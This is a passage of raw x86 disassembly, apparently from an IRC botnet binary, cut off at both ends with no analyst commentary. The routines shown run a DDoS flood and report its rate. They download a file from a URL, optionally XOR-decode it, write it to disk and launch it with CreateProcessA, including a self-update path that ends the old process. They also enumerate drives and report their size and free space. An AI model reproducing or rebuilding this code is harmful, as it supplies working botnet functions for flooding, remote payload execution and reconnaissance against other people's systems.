loc_40249B:				; CODE XREF: sub_4021B5+2D2j
		mov	edi, [ebp+64h+var_4]


loc_40249E:				; CODE XREF: sub_4021B5+329j
		pop	ebx


loc_40249F:				; CODE XREF: sub_4021B5+74j
		push	[ebp+64h+var_24]
		call	dword_4358F4	; closesocket


loc_4024A8:				; CODE XREF: sub_4021B5+58j
		call	dword_435900	; WSACleanup
		mov	eax, edi
		pop	esi


loc_4024B1:				; CODE XREF: sub_4021B5+35j
		pop	edi
		add	ebp, 64h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4024B7:				; CODE XREF: sub_4021B5+2BDj
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+64h+var_F8]
		push	offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>."
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+64h+var_F8]
		push	eax
		call	sub_401EFF
		add	esp, 10h
		jmp	short loc_40249E
sub_4021B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024E0	proc near		; CODE XREF: sub_40253C+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_407C3B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_414972
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_414972
		mov	edi, eax
		call	sub_4147A1
		cdq
		mov	ecx, 200h
		idiv	ecx
		push	edi
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4021B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40252D
		inc	eax


loc_40252D:				; CODE XREF: sub_4024E0+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4024E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40253C	proc near		; DATA XREF: sub_408A18+2B05o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0A5h
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4024E0
		push	eax
		lea	eax, [ebp+var_494]
		push	offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)."
		push	eax
		call	sub_4145E5
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_4025CC
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_494]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_4056FB
		add	esp, 14h


loc_4025CC:				; CODE XREF: sub_40253C+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_401EFF
		push	[ebp+var_290]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_40253C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4025ED	proc near		; CODE XREF: sub_40260A+109p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_402609


loc_4025F9:				; CODE XREF: sub_4025ED+1Aj
		mov	dl, byte_42BED0
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4025F9

locret_402609:				; CODE XREF: sub_4025ED+Aj
		retn
sub_4025ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260A	proc near		; DATA XREF: sub_408A18+28F5o
					; sub_408A18+30EEo

var_88C		= qword	ptr -88Ch
var_880		= qword	ptr -880h
var_810		= byte ptr -810h
var_610		= byte ptr -610h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_38C		= byte ptr -38Ch
var_28C		= byte ptr -28Ch
var_18C		= byte ptr -18Ch
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		mov	esi, eax
		mov	ecx, 0EAh
		lea	edi, [ebp+var_410]
		rep movsd
		push	ebx
		xor	esi, esi
		push	ebx
		inc	esi
		mov	[eax+3A4h], esi
		push	ebx
		lea	eax, [ebp+var_38C]
		push	eax
		push	dword_435928
		call	dword_4357F0	; InternetOpenUrlA
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_402AB9
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_28C]
		push	eax
		call	ds:dword_420044	; CreateFileA
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jnb	short loc_4026D1
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_4026B4
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4056FB
		add	esp, 14h


loc_4026B4:				; CODE XREF: sub_40260A+88j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EFF
		push	[ebp+var_8C]
		call	sub_412735
		pop	ecx
		jmp	loc_402B1A
; ---------------------------------------------------------------------------


loc_4026D1:				; CODE XREF: sub_40260A+68j
		xor	esi, esi
		call	ds:dword_420004	; GetTickCount
		mov	[ebp+var_4], eax


loc_4026DC:				; CODE XREF: sub_40260A+174j
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+var_610]
		rep stosd
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_C]
		call	dword_435894	; InternetReadFile
		cmp	[ebp+var_78], ebx
		jz	short loc_40271A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_4025ED
		pop	ecx
		pop	ecx


loc_40271A:				; CODE XREF: sub_40260A+FDj
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_420040	; WriteFile
		add	esi, [ebp+arg_0]
		cmp	[ebp+var_80], ebx
		jz	short loc_40273F
		cmp	esi, [ebp+var_80]
		ja	short loc_402784


loc_40273F:				; CODE XREF: sub_40260A+12Ej
		mov	eax, esi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		mov	eax, [ebp+var_8C]
		imul	eax, 234h
		add	eax, offset dword_436480
		cmp	[ebp+var_88], 1
		jz	short loc_40276D
		push	offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s	(%dKB tra"...
		jmp	short loc_402772
; ---------------------------------------------------------------------------


loc_40276D:				; CODE XREF: sub_40260A+15Aj
		push	offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"...


loc_402772:				; CODE XREF: sub_40260A+161j
		push	eax
		call	sub_4145E5
		add	esp, 10h
		cmp	[ebp+arg_0], ebx
		ja	loc_4026DC


loc_402784:				; CODE XREF: sub_40260A+133j
		cmp	[ebp+var_80], ebx
		mov	[ebp+var_8], 1
		jz	short loc_4027D9
		cmp	esi, [ebp+var_80]
		jz	short loc_4027D9
		push	[ebp+var_80]
		lea	eax, [ebp+var_610]
		push	esi
		push	offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "...
		push	eax
		mov	[ebp+var_8], ebx
		call	sub_4145E5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4056FB
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EFF
		add	esp, 28h


loc_4027D9:				; CODE XREF: sub_40260A+184j
					; sub_40260A+189j
		call	ds:dword_420004	; GetTickCount
		sub	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		push	[ebp+var_10]
		mov	ecx, eax
		inc	ecx
		mov	eax, esi
		div	ecx
		mov	edi, eax
		call	ds:dword_42003C	; CloseHandle
		cmp	[ebp+var_8], ebx
		jz	loc_402B06
		cmp	[ebp+var_88], 1
		jz	loc_4029CA
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_402825
		fadd	ds:dbl_420B48


loc_402825:				; CODE XREF: sub_40260A+213j
		test	esi, esi
		fmul	ds:dbl_420B40
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_402847
		fadd	ds:dbl_420B48


loc_402847:				; CODE XREF: sub_40260A+235j
		fmul	ds:dbl_420B40
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
		push	eax
		call	sub_4145E5
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_40288B
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4056FB
		add	esp, 14h


loc_40288B:				; CODE XREF: sub_40260A+25Fj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EFF
		cmp	[ebp+var_84], 1
		pop	ecx
		jnz	loc_402B06
		cmp	[ebp+var_74], ebx
		jnz	short loc_4028F5
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadOpenni ; "[DOWNLOAD]: Openning:	%s %s."
		push	eax
		call	sub_4145E5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4056FB
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EFF
		add	esp, 28h


loc_4028F5:				; CODE XREF: sub_40260A+29Ej
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_68]
		rep stosd
		mov	ecx, 80h
		lea	edi, [ebp+var_810]
		mov	[ebp+var_5C], (offset asc_420AE8+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], 1
		mov	[ebp+var_38], bx
		rep stosd


loc_40292E:				; CODE XREF: sub_40260A+335j
		mov	cl, [ebp+eax+var_28C]
		mov	[ebp+eax+var_810], cl
		inc	eax
		cmp	cl, bl
		jnz	short loc_40292E
		lea	edi, [ebp+var_810]
		dec	edi


loc_402948:				; CODE XREF: sub_40260A+344j
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jnz	short loc_402948
		mov	esi, offset asc_420AE8 ; " "
		lea	eax, [ebp+var_18C]
		movsw
		mov	edx, eax


loc_40295F:				; CODE XREF: sub_40260A+35Aj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_40295F
		lea	edi, [ebp+var_810]
		sub	eax, edx
		dec	edi


loc_40296F:				; CODE XREF: sub_40260A+36Bj
		mov	cl, [edi+1]
		inc	edi
		cmp	cl, bl
		jnz	short loc_40296F
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		rep movsd
		mov	ecx, eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_810]
		push	eax
		and	ecx, 3
		push	ebx
		rep movsb
		call	ds:dword_420038	; CreateProcessA
		cmp	eax, 1
		lea	eax, [ebp+var_810]
		push	eax
		lea	eax, [ebp+var_610]
		jnz	short loc_4029C0
		push	offset aDownloadApplic ; "[DOWNLOAD]: Application succesfully exe"...
		jmp	loc_402ACB
; ---------------------------------------------------------------------------


loc_4029C0:				; CODE XREF: sub_40260A+3AAj
		push	offset aDownloadExecut ; "[DOWNLOAD]: Execution	failed:	Error exe"...
		jmp	loc_402ACB
; ---------------------------------------------------------------------------


loc_4029CA:				; CODE XREF: sub_40260A+205j
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_4029DA
		fadd	ds:dbl_420B48


loc_4029DA:				; CODE XREF: sub_40260A+3C8j
		test	esi, esi
		fmul	ds:dbl_420B40
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_4029FC
		fadd	ds:dbl_420B48


loc_4029FC:				; CODE XREF: sub_40260A+3EAj
		fmul	ds:dbl_420B40
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB	to %s @	%"...
		push	eax
		call	sub_4145E5
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_402A40
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4056FB
		add	esp, 14h


loc_402A40:				; CODE XREF: sub_40260A+414j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EFF
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_24]
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_28C]
		xor	esi, esi
		push	eax
		inc	esi
		push	ebx
		mov	[ebp+var_5C], (offset asc_420AE8+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], bx
		call	ds:dword_420038	; CreateProcessA
		cmp	eax, esi
		jnz	short loc_402AAB
		call	dword_435900	; WSACleanup
		call	sub_406A33
		push	ebx
		call	ds:dword_420034	; ExitProcess


loc_402AAB:				; CODE XREF: sub_40260A+48Dj
		lea	eax, [ebp+var_28C]
		push	eax
		push	offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"...
		jmp	short loc_402AC5
; ---------------------------------------------------------------------------


loc_402AB9:				; CODE XREF: sub_40260A+45j
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s."


loc_402AC5:				; CODE XREF: sub_40260A+4ADj
		lea	eax, [ebp+var_610]


loc_402ACB:				; CODE XREF: sub_40260A+3B1j
					; sub_40260A+3BBj
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_402AF9
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4056FB
		add	esp, 14h


loc_402AF9:				; CODE XREF: sub_40260A+4CDj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EFF
		pop	ecx


loc_402B06:				; CODE XREF: sub_40260A+1F8j
					; sub_40260A+295j
		push	[ebp+var_C]
		call	dword_435844	; InternetCloseHandle
		push	[ebp+var_8C]
		call	sub_412735


loc_402B1A:				; CODE XREF: sub_40260A+C2j
		pop	ecx
		push	ebx
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_40260A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402B23	proc near		; CODE XREF: sub_408A18+5099p
					; sub_408A18+51ECp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414F14
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_402B23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B3D	proc near		; CODE XREF: sub_402C41+66p
					; sub_402C41+97p ...

var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		and	[ebp+var_4], 0
		push	esi
		push	edi
		push	0Ch
		mov	esi, offset dword_433ED8
		pop	ecx
		xor	eax, eax
		mov	edi, esi
		rep stosd
		stosw
		lea	edi, [ebp+var_40]
		push	ebx


loc_402B5D:				; CODE XREF: sub_402B3D+50j
					; sub_402B3D+56j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414F60
		add	cl, 30h
		mov	[edi], cl
		inc	edi
		mov	[ebp+arg_0], eax
		or	eax, edx
		mov	[ebp+var_8], ebx
		mov	[ebp+arg_4], edx
		jz	short loc_402B95
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_402B5D
		mov	byte ptr [edi],	2Ch
		inc	edi
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------


loc_402B95:				; CODE XREF: sub_402B3D+40j
		mov	eax, esi
		pop	ebx
		jmp	short loc_402B9F
; ---------------------------------------------------------------------------


loc_402B9A:				; CODE XREF: sub_402B3D+68j
		mov	cl, [edi]
		mov	[eax], cl
		inc	eax


loc_402B9F:				; CODE XREF: sub_402B3D+5Bj
		dec	edi
		lea	ecx, [ebp+var_40]
		cmp	edi, ecx
		jnb	short loc_402B9A
		and	byte ptr [eax],	0
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402B3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BB0	proc near		; CODE XREF: sub_402D5C+3Ep
					; sub_402D5C+74p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_435774	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_402BF3
		dec	eax
		jz	short loc_402BED
		dec	eax
		dec	eax
		jz	short loc_402BE7
		dec	eax
		jz	short loc_402BE1
		dec	eax
		jz	short loc_402BDB
		dec	eax
		jz	short loc_402BD5
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------


loc_402BD5:				; CODE XREF: sub_402BB0+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_402BDB:				; CODE XREF: sub_402BB0+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_402BE1:				; CODE XREF: sub_402BB0+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_402BE7:				; CODE XREF: sub_402BB0+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_402BED:				; CODE XREF: sub_402BB0+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_402BF3:				; CODE XREF: sub_402BB0+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_402BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BF9	proc near		; CODE XREF: sub_402C41+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4357E4
		test	eax, eax
		jz	short loc_402C2E
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_402C2E:				; CODE XREF: sub_402BF9+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_402BF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C41	proc near		; CODE XREF: sub_402D5C+17p
					; sub_41175C+1BDp

var_1B0		= byte ptr -1B0h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= byte ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_402BF9
		pop	ecx
		pop	ecx
		push	6
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402D19
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402D19
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402D19
		push	ebx
		push	0
		mov	ebx, 400h
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_415000
		push	edx
		push	eax
		call	sub_402B3D
		push	eax
		mov	edi, offset aSkb ; "%sKB"
		push	edi
		mov	esi, 80h
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_415000
		push	edx
		push	eax
		call	sub_402B3D
		push	eax
		push	edi
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_415000
		push	edx
		push	eax
		call	sub_402B3D
		push	eax
		push	edi
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 18h
		pop	ebx
		jmp	short loc_402D48
; ---------------------------------------------------------------------------


loc_402D19:				; CODE XREF: sub_402C41+2Cj
					; sub_402C41+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_4145E5
		add	esp, 18h


loc_402D48:				; CODE XREF: sub_402C41+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_1B0]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_402C41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D5C	proc near		; CODE XREF: sub_402E1B+Bj
					; sub_402E1B+51p

var_500		= byte ptr -500h
var_380		= byte ptr -380h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_500]
		push	ebx
		push	eax
		call	sub_402C41
		pop	ecx
		pop	ecx
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_180]
		rep movsd
		push	7
		mov	edi, offset aFailed ; "failed"
		lea	esi, [ebp+var_80]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402DBC
		push	ebx
		push	ebx
		call	sub_402BB0
		pop	ecx
		push	eax
		push	offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed	to stat, "...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 14h
		jmp	short loc_402DF0
; ---------------------------------------------------------------------------


loc_402DBC:				; CODE XREF: sub_402D5C+3Aj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_402BB0
		pop	ecx
		push	eax
		push	offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_41483D
		add	esp, 20h


loc_402DF0:				; CODE XREF: sub_402D5C+5Ej
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_380]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		lea	eax, [ebp+var_380]
		push	eax
		call	sub_401EFF
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E1B	proc near		; CODE XREF: sub_408A18+46D4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	short loc_402E2B
		pop	ebp
		jmp	sub_402D5C
; ---------------------------------------------------------------------------


loc_402E2B:				; CODE XREF: sub_402E1B+8j
		push	ebx
		push	esi
		push	eax
		push	eax
		call	dword_435884	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_414E7D
		pop	ecx
		mov	ebx, eax
		push	ebx
		push	esi
		mov	[ebp+arg_C], ebx
		call	dword_435884	; GetLogicalDriveStringsA
		cmp	byte ptr [ebx],	0
		jz	short loc_402E8E
		push	edi


loc_402E52:				; CODE XREF: sub_402E1B+6Dj
		push	4
		mov	edi, offset aA	; "A:\\"
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_402E74
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402D5C
		add	esp, 10h


loc_402E74:				; CODE XREF: sub_402E1B+45j
		mov	eax, ebx
		lea	edx, [eax+1]


loc_402E79:				; CODE XREF: sub_402E1B+63j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_402E79
		sub	eax, edx
		lea	ebx, [ebx+eax+1]
		cmp	[ebx], cl
		jnz	short loc_402E52
		mov	ebx, [ebp+arg_C]
		pop	edi


loc_402E8E:				; CODE XREF: sub_402E1B+34j
		push	ebx
		call	sub_414A14
		pop	ecx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_402E1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E99	proc near		; DATA XREF: sub_40E745+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43668C
		call	dword_4358F4	; closesocket
		call	sub_4125E2
		call	dword_435900	; WSACleanup
		call	dword_435900	; WSACleanup
		mov	ebx, ds:dword_420000
		push	64h
		call	ebx	; Sleep
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
